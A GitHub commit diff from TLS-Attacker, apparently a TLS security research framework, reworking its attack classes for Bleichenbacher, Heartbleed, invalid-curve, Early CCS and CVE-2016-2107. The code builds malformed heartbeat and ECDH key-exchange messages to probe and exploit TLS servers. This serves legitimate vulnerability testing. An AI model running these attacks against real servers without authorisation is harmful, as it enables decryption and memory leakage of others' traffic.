Skip to content

Commit 2171878

Browse files
Merge branch 'master' into bleichenbacherFull
2 parents ad85f13 + 2de2abe commit 2171878

File tree

24 files changed

+179
-147
lines changed

24 files changed

+179
-147
lines changed

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/Main.java

Lines changed: 13 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -62,8 +62,9 @@ public static void main(String[] args) {
6262
jc.addCommand(InvalidCurveAttackConfig.ATTACK_COMMAND, ellipticTest);
6363
HeartbleedCommandConfig heartbleed = new HeartbleedCommandConfig(generalDelegate);
6464
jc.addCommand(HeartbleedCommandConfig.ATTACK_COMMAND, heartbleed);
65-
Lucky13CommandConfig lucky13 = new Lucky13CommandConfig(generalDelegate);
66-
jc.addCommand(Lucky13CommandConfig.ATTACK_COMMAND, lucky13);
65+
// Lucky13CommandConfig lucky13 = new
66+
// Lucky13CommandConfig(generalDelegate);
67+
// jc.addCommand(Lucky13CommandConfig.ATTACK_COMMAND, lucky13);
6768
PaddingOracleCommandConfig paddingOracle = new PaddingOracleCommandConfig(generalDelegate);
6869
jc.addCommand(PaddingOracleCommandConfig.ATTACK_COMMAND, paddingOracle);
6970
TLSPoodleCommandConfig tlsPoodle = new TLSPoodleCommandConfig(generalDelegate);
@@ -78,8 +79,10 @@ public static void main(String[] args) {
7879
jc.addCommand(PoodleCommandConfig.ATTACK_COMMAND, poodle);
7980
SimpleMitmProxyCommandConfig simpleMitmProxy = new SimpleMitmProxyCommandConfig(generalDelegate);
8081
jc.addCommand(SimpleMitmProxyCommandConfig.ATTACK_COMMAND, simpleMitmProxy);
81-
TokenBindingMitmCommandConfig tokenBindingMitm = new TokenBindingMitmCommandConfig(generalDelegate);
82-
jc.addCommand(TokenBindingMitmCommandConfig.ATTACK_COMMAND, tokenBindingMitm);
82+
// TokenBindingMitmCommandConfig tokenBindingMitm = new
83+
// TokenBindingMitmCommandConfig(generalDelegate);
84+
// jc.addCommand(TokenBindingMitmCommandConfig.ATTACK_COMMAND,
85+
// tokenBindingMitm);
8386
jc.parse(args);
8487
if (generalDelegate.isHelp() || jc.getParsedCommand() == null) {
8588
if (jc.getParsedCommand() == null) {
@@ -100,9 +103,9 @@ public static void main(String[] args) {
100103
case HeartbleedCommandConfig.ATTACK_COMMAND:
101104
attacker = new HeartbleedAttacker(heartbleed);
102105
break;
103-
case Lucky13CommandConfig.ATTACK_COMMAND:
104-
attacker = new Lucky13Attacker(lucky13);
105-
break;
106+
// case Lucky13CommandConfig.ATTACK_COMMAND:
107+
// attacker = new Lucky13Attacker(lucky13);
108+
// break;
106109
case TLSPoodleCommandConfig.ATTACK_COMMAND:
107110
attacker = new TLSPoodleAttacker(tlsPoodle);
108111
break;
@@ -128,9 +131,9 @@ public static void main(String[] args) {
128131
case SimpleMitmProxyCommandConfig.ATTACK_COMMAND:
129132
attacker = new SimpleMitmProxy(simpleMitmProxy);
130133
break;
131-
case TokenBindingMitmCommandConfig.ATTACK_COMMAND:
132-
attacker = new TokenBindingMitm(tokenBindingMitm);
133-
break;
134+
// case TokenBindingMitmCommandConfig.ATTACK_COMMAND:
135+
// attacker = new TokenBindingMitm(tokenBindingMitm);
136+
// break;
134137
default:
135138
throw new ConfigurationException("Command not found");
136139
}

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/config/BleichenbacherCommandConfig.java

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -49,9 +49,11 @@ public class BleichenbacherCommandConfig extends AttackConfig {
4949
+ "exchange message. You can retrieve this message from the Wireshark traffic. Find the client key exchange "
5050
+ "message, right click on the \"EncryptedPremaster\" value and copy this value as a Hex Stream.")
5151
private String encryptedPremasterSecret;
52-
5352
@Parameter(names = "-type", description = "Type of the Bleichenbacher Test results in a different number of server test quries")
5453
private Type type = Type.FAST;
54+
@Parameter(names = "-msgPkcsConform", description = "Used by the real Bleichenbacher attack. Indicates whether the original "
55+
+ "message that we are going to decrypt is PKCS#1 conform or not (more precisely, whether it starts with 0x00 0x02.")
56+
private boolean msgPkcsConform = true;
5557

5658
public BleichenbacherCommandConfig(GeneralDelegate delegate) {
5759
super(delegate);
@@ -115,4 +117,8 @@ public String getEncryptedPremasterSecret() {
115117
return encryptedPremasterSecret;
116118
}
117119

120+
public boolean isMsgPkcsConform() {
121+
return msgPkcsConform;
122+
}
123+
118124
}

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/config/InvalidCurveAttackConfig.java

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -169,8 +169,17 @@ public Config createConfig() {
169169
Config config = super.createConfig();
170170
List<CipherSuite> cipherSuites = new LinkedList<>();
171171
cipherSuites.add(CipherSuite.TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA);
172+
cipherSuites.add(CipherSuite.TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256);
173+
cipherSuites.add(CipherSuite.TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA);
174+
cipherSuites.add(CipherSuite.TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384);
172175
cipherSuites.add(CipherSuite.TLS_ECDH_RSA_WITH_AES_128_CBC_SHA);
176+
cipherSuites.add(CipherSuite.TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256);
177+
cipherSuites.add(CipherSuite.TLS_ECDH_RSA_WITH_AES_256_CBC_SHA);
178+
cipherSuites.add(CipherSuite.TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384);
179+
config.setAddECPointFormatExtension(true);
180+
config.setAddEllipticCurveExtension(true);
173181
config.setDefaultClientSupportedCiphersuites(cipherSuites);
182+
config.setDefaultSelectedCipherSuite(CipherSuite.TLS_ECDH_RSA_WITH_AES_128_CBC_SHA);
174183
List<NamedCurve> namedCurves = new LinkedList<>();
175184
namedCurves.add(namedCurve);
176185
config.setNamedCurves(namedCurves);

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/impl/BleichenbacherAttacker.java

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,6 @@
1313
import de.rub.nds.modifiablevariable.util.ArrayConverter;
1414
import de.rub.nds.tlsattacker.attacks.config.BleichenbacherCommandConfig;
1515
import de.rub.nds.tlsattacker.attacks.pkcs1.Bleichenbacher;
16-
import de.rub.nds.tlsattacker.attacks.pkcs1.Manger;
1716
import de.rub.nds.tlsattacker.attacks.pkcs1.PKCS1VectorGenerator;
1817
import de.rub.nds.tlsattacker.attacks.pkcs1.oracles.RealDirectMessagePkcs1Oracle;
1918
import de.rub.nds.tlsattacker.core.config.Config;
@@ -82,13 +81,13 @@ public void executeAttack() {
8281
byte[] pms = ArrayConverter.hexStringToByteArray(config.getEncryptedPremasterSecret());
8382
if ((pms.length * 8) != publicKey.getModulus().bitLength()) {
8483
throw new ConfigurationException("The length of the encrypted premaster secret you have "
85-
+ "is not equal to the server public key length. Have you selected the correct " + "value?");
84+
+ "is not equal to the server public key length. Have you selected the correct value?");
8685
}
8786

8887
RealDirectMessagePkcs1Oracle oracle = new RealDirectMessagePkcs1Oracle(publicKey, tlsConfig,
8988
config.getValidResponseContent(), config.getInvalidResponseContent());
9089

91-
Bleichenbacher attacker = new Bleichenbacher(pms, oracle, true);
90+
Bleichenbacher attacker = new Bleichenbacher(pms, oracle, config.isMsgPkcsConform());
9291
attacker.attack();
9392
BigInteger solution = attacker.getSolution();
9493

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/impl/Cve20162107Attacker.java

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,6 @@ public void executeAttack() {
6262

6363
private Boolean executeAttackRound(ProtocolVersion version, CipherSuite suite) {
6464
Config tlsConfig = config.createConfig();
65-
State state = new State(tlsConfig);
6665

6766
List<CipherSuite> suiteList = new LinkedList<>();
6867
suiteList.add(suite);
@@ -95,7 +94,7 @@ private Boolean executeAttackRound(ProtocolVersion version, CipherSuite suite) {
9594
messages.add(alertMessage);
9695
action.setExpectedMessages(messages);
9796
tlsConfig.setWorkflowTrace(trace);
98-
97+
State state = new State(tlsConfig, trace);
9998
WorkflowExecutor workflowExecutor = WorkflowExecutorFactory.createWorkflowExecutor(
10099
tlsConfig.getWorkflowExecutorType(), state);
101100

@@ -108,7 +107,8 @@ private Boolean executeAttackRound(ProtocolVersion version, CipherSuite suite) {
108107
// The Server has to answer to our ClientHello with a ServerHello
109108
// Message, else he does not support the offered Ciphersuite and
110109
// protocol version
111-
if (WorkflowTraceUtil.didReceiveMessage(HandshakeMessageType.SERVER_HELLO, trace)) {
110+
if (!WorkflowTraceUtil.didReceiveMessage(HandshakeMessageType.SERVER_HELLO, trace)) {
111+
LOGGER.info("Did not receive ServerHello. Skipping...");
112112
return false;
113113
}
114114
ProtocolMessage lm = WorkflowTraceUtil.getLastReceivedMessage(trace);
@@ -123,11 +123,11 @@ private Boolean executeAttackRound(ProtocolVersion version, CipherSuite suite) {
123123
}
124124

125125
if (lm.getProtocolMessageType() == ProtocolMessageType.ALERT
126-
&& ((AlertMessage) lm).getDescription().getValue() == 22) {
126+
&& AlertDescription.getAlertDescription(((AlertMessage) lm).getDescription().getValue()) == AlertDescription.RECORD_OVERFLOW) {
127127
LOGGER.info(" Vulnerable");
128128
return true;
129129
} else {
130-
LOGGER.info(" Not Vulnerable / Not supported");
130+
LOGGER.info(suite.name() + " - " + version.name() + ": Not Vulnerable / Not supported");
131131
return false;
132132
}
133133
}

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/impl/EarlyCCSAttacker.java

Lines changed: 5 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -30,8 +30,6 @@
3030
import org.apache.logging.log4j.Logger;
3131

3232
/**
33-
* TODO: currently does not work correctly, will be fixed after some
34-
* refactorings.
3533
*
3634
* @author Juraj Somorovsky (juraj.somorovsky@rub.de)
3735
*/
@@ -58,8 +56,7 @@ public void executeAttack() {
5856
public Boolean isVulnerable() {
5957
Config tlsConfig = config.createConfig();
6058
tlsConfig.setDefaultTimeout(1000);
61-
62-
WorkflowTrace workflowTrace = new WorkflowTrace();
59+
WorkflowTrace workflowTrace = new WorkflowTrace(tlsConfig);
6360
workflowTrace.addTlsAction(new SendAction(new ClientHelloMessage(tlsConfig)));
6461
List<ProtocolMessage> messageList = new LinkedList<>();
6562
messageList.add(new ServerHelloMessage(tlsConfig));
@@ -72,18 +69,16 @@ public Boolean isVulnerable() {
7269
messageList = new LinkedList<>();
7370
workflowTrace.addTlsAction(new ReceiveAction(messageList));
7471
tlsConfig.setWorkflowTrace(workflowTrace);
75-
76-
State state = new State(tlsConfig);
77-
TlsContext tlsContext = state.getTlsContext();
72+
State state = new State(tlsConfig, workflowTrace);
7873
WorkflowExecutor workflowExecutor = WorkflowExecutorFactory.createWorkflowExecutor(
7974
tlsConfig.getWorkflowExecutorType(), state);
8075

8176
workflowExecutor.executeWorkflow();
82-
if (tlsContext.isReceivedFatalAlert()) {
83-
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Not vulnerable (probably), no Alert message found");
77+
if (state.getTlsContext().isReceivedFatalAlert()) {
78+
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Not vulnerable (probably), Alert message found");
8479
return false;
8580
} else {
86-
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Vulnerable (probably), Alert message found");
81+
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Vulnerable (probably), no Alert message found");
8782
return true;
8883
}
8984
}

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/impl/HeartbleedAttacker.java

Lines changed: 20 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@
1515
import de.rub.nds.modifiablevariable.singlebyte.ModifiableByte;
1616
import de.rub.nds.tlsattacker.attacks.config.HeartbleedCommandConfig;
1717
import de.rub.nds.tlsattacker.core.config.Config;
18+
import de.rub.nds.tlsattacker.core.constants.HandshakeMessageType;
1819
import de.rub.nds.tlsattacker.core.constants.ProtocolMessageType;
1920
import de.rub.nds.tlsattacker.core.exceptions.WorkflowExecutionException;
2021
import de.rub.nds.tlsattacker.core.protocol.message.HeartbeatMessage;
@@ -23,6 +24,9 @@
2324
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutorFactory;
2425
import de.rub.nds.tlsattacker.core.workflow.WorkflowTrace;
2526
import de.rub.nds.tlsattacker.core.workflow.WorkflowTraceUtil;
27+
import de.rub.nds.tlsattacker.core.workflow.action.ReceiveAction;
28+
import de.rub.nds.tlsattacker.core.workflow.action.SendAction;
29+
import de.rub.nds.tlsattacker.core.workflow.factory.WorkflowConfigurationFactory;
2630
import org.apache.logging.log4j.LogManager;
2731
import org.apache.logging.log4j.Logger;
2832

@@ -48,42 +52,37 @@ public void executeAttack() {
4852
@Override
4953
public Boolean isVulnerable() {
5054
Config tlsConfig = config.createConfig();
51-
State state = new State(tlsConfig);
52-
53-
WorkflowExecutor workflowExecutor = WorkflowExecutorFactory.createWorkflowExecutor(
54-
tlsConfig.getWorkflowExecutorType(), state);
55-
56-
WorkflowTrace trace = state.getWorkflowTrace();
57-
55+
WorkflowTrace trace = new WorkflowConfigurationFactory(tlsConfig).createHandshakeWorkflow();
56+
HeartbeatMessage message = new HeartbeatMessage(tlsConfig);
57+
trace.addTlsAction(new SendAction(message));
58+
trace.addTlsAction(new ReceiveAction(new HeartbeatMessage()));
59+
State state = new State(tlsConfig, trace);
5860
ModifiableByte heartbeatMessageType = new ModifiableByte();
5961
ModifiableInteger payloadLength = new ModifiableInteger();
6062
payloadLength.setModification(IntegerModificationFactory.explicitValue(config.getPayloadLength()));
6163
ModifiableByteArray payload = new ModifiableByteArray();
6264
payload.setModification(ByteArrayModificationFactory.explicitValue(new byte[] { 1, 3 }));
63-
HeartbeatMessage hb = (HeartbeatMessage) WorkflowTraceUtil.getFirstSendMessage(ProtocolMessageType.HEARTBEAT,
64-
trace);
65-
hb.setHeartbeatMessageType(heartbeatMessageType);
66-
hb.setPayload(payload);
67-
hb.setPayloadLength(payloadLength);
65+
message.setHeartbeatMessageType(heartbeatMessageType);
66+
message.setPayload(payload);
67+
message.setPayloadLength(payloadLength);
6868

6969
try {
70+
WorkflowExecutor workflowExecutor = WorkflowExecutorFactory.createWorkflowExecutor(
71+
tlsConfig.getWorkflowExecutorType(), state);
7072
workflowExecutor.executeWorkflow();
7173
} catch (WorkflowExecutionException ex) {
7274
LOGGER.info("The TLS protocol flow was not executed completely, follow the debug messages for more information.");
7375
LOGGER.debug(ex);
7476
}
7577

76-
if (trace.executedAsPlanned()) {
77-
LOGGER.info("Could not execute Workflow correctly. Check the Debug log");
78+
if (WorkflowTraceUtil.didReceiveMessage(ProtocolMessageType.HEARTBEAT, trace)) {
79+
LOGGER.info("Vulnerable. The server responds with a heartbeat message, although the client heartbeat message contains an invalid Length value");
80+
return true;
81+
} else if (!WorkflowTraceUtil.didReceiveMessage(HandshakeMessageType.FINISHED, trace)) {
7882
return null;
7983
} else {
80-
if (WorkflowTraceUtil.didReceiveMessage(ProtocolMessageType.HEARTBEAT, trace)) {
81-
LOGGER.info("Vulnerable. The server responds with a heartbeat message, although the client heartbeat message contains an invalid Length value");
82-
return true;
83-
} else {
84-
LOGGER.info("(Most probably) Not vulnerable. The server does not respond with a heartbeat message, it is not vulnerable");
85-
return false;
86-
}
84+
LOGGER.info("(Most probably) Not vulnerable. The server does not respond with a heartbeat message, it is not vulnerable");
85+
return false;
8786
}
8887
}
8988
}

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/impl/InvalidCurveAttacker.java

Lines changed: 27 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -17,17 +17,24 @@
1717
import de.rub.nds.tlsattacker.attacks.ec.ICEAttacker;
1818
import de.rub.nds.tlsattacker.attacks.ec.oracles.RealDirectMessageECOracle;
1919
import de.rub.nds.tlsattacker.core.config.Config;
20+
import de.rub.nds.tlsattacker.core.constants.AlgorithmResolver;
2021
import de.rub.nds.tlsattacker.core.constants.HandshakeMessageType;
22+
import de.rub.nds.tlsattacker.core.constants.KeyExchangeAlgorithm;
2123
import de.rub.nds.tlsattacker.core.crypto.ec.Curve;
2224
import de.rub.nds.tlsattacker.core.crypto.ec.CurveFactory;
2325
import de.rub.nds.tlsattacker.core.exceptions.WorkflowExecutionException;
26+
import de.rub.nds.tlsattacker.core.protocol.message.AlertMessage;
27+
import de.rub.nds.tlsattacker.core.protocol.message.ChangeCipherSpecMessage;
2428
import de.rub.nds.tlsattacker.core.protocol.message.ECDHClientKeyExchangeMessage;
29+
import de.rub.nds.tlsattacker.core.protocol.message.FinishedMessage;
2530
import de.rub.nds.tlsattacker.core.state.State;
2631
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutor;
2732
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutorFactory;
2833
import de.rub.nds.tlsattacker.core.workflow.WorkflowTrace;
2934
import de.rub.nds.tlsattacker.core.workflow.WorkflowTraceUtil;
30-
import de.rub.nds.tlsattacker.core.workflow.factory.WorkflowTraceType;
35+
import de.rub.nds.tlsattacker.core.workflow.action.ReceiveAction;
36+
import de.rub.nds.tlsattacker.core.workflow.action.SendAction;
37+
import de.rub.nds.tlsattacker.core.workflow.factory.WorkflowConfigurationFactory;
3138
import java.math.BigInteger;
3239
import org.apache.logging.log4j.LogManager;
3340
import org.apache.logging.log4j.Logger;
@@ -59,10 +66,20 @@ public void executeAttack() {
5966

6067
@Override
6168
public Boolean isVulnerable() {
69+
if (!KeyExchangeAlgorithm.isEC(AlgorithmResolver.getKeyExchangeAlgorithm(config.createConfig()
70+
.getDefaultSelectedCipherSuite()))) {
71+
LOGGER.info("The CipherSuite that should be tested is not an Ec one:"
72+
+ config.createConfig().getDefaultSelectedCipherSuite().name());
73+
return null;
74+
}
6275
for (int i = 0; i < getConfig().getProtocolFlows(); i++) {
6376
try {
6477
WorkflowTrace trace = executeProtocolFlow();
65-
if (WorkflowTraceUtil.didReceiveMessage(HandshakeMessageType.FINISHED, trace)) {
78+
if (!WorkflowTraceUtil.didReceiveMessage(HandshakeMessageType.SERVER_HELLO, trace)) {
79+
LOGGER.info("Did not receive ServerHello. Check your config");
80+
return null;
81+
}
82+
if (!WorkflowTraceUtil.didReceiveMessage(HandshakeMessageType.FINISHED, trace)) {
6683
LOGGER.info("Received no finished Message in Protocolflow:" + i);
6784
} else {
6885
LOGGER.info("Received a finished Message in Protocolflow: " + i + "! Server is vulnerable!");
@@ -77,14 +94,15 @@ public Boolean isVulnerable() {
7794

7895
private WorkflowTrace executeProtocolFlow() {
7996
Config tlsConfig = config.createConfig();
80-
tlsConfig.setWorkflowTraceType(WorkflowTraceType.HANDSHAKE);
81-
State state = new State(tlsConfig);
82-
97+
WorkflowTrace trace = new WorkflowConfigurationFactory(tlsConfig).createHelloWorkflow();
98+
trace.addTlsAction(new SendAction(new ECDHClientKeyExchangeMessage(tlsConfig), new ChangeCipherSpecMessage(
99+
tlsConfig), new FinishedMessage(tlsConfig)));
100+
trace.addTlsAction(new ReceiveAction(new AlertMessage(tlsConfig)));
101+
State state = new State(tlsConfig, trace);
83102
WorkflowExecutor workflowExecutor = WorkflowExecutorFactory.createWorkflowExecutor(
84103
tlsConfig.getWorkflowExecutorType(), state);
85-
WorkflowTrace trace = state.getWorkflowTrace();
86-
ECDHClientKeyExchangeMessage message = (ECDHClientKeyExchangeMessage) WorkflowTraceUtil
87-
.getFirstReceivedMessage(HandshakeMessageType.CLIENT_KEY_EXCHANGE, trace);
104+
ECDHClientKeyExchangeMessage message = (ECDHClientKeyExchangeMessage) WorkflowTraceUtil.getFirstSendMessage(
105+
HandshakeMessageType.CLIENT_KEY_EXCHANGE, trace);
88106

89107
// modify public point base X coordinate
90108
ModifiableBigInteger x = ModifiableVariableFactory.createBigIntegerModifiableVariable();
@@ -99,6 +117,7 @@ private WorkflowTrace executeProtocolFlow() {
99117
ModifiableByteArray pms = ModifiableVariableFactory.createByteArrayModifiableVariable();
100118
byte[] explicitePMS = BigIntegers.asUnsignedByteArray(config.getCurveFieldSize(), config.getPremasterSecret());
101119
pms.setModification(ByteArrayModificationFactory.explicitValue(explicitePMS));
120+
message.prepareComputations();
102121
message.getComputations().setPremasterSecret(pms);
103122
workflowExecutor.executeWorkflow();
104123
return trace;

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/impl/Lucky13Attacker.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -78,7 +78,6 @@ private void createMonaFile(String fileName, String[] delimiters, List<Long> res
7878

7979
public void executeAttackRound(Record record) throws IOException {
8080
Config tlsConfig = config.createConfig();
81-
8281
State state = new State(tlsConfig);
8382
TlsContext tlsContext = state.getTlsContext();
8483

0 commit comments

Comments
 (0)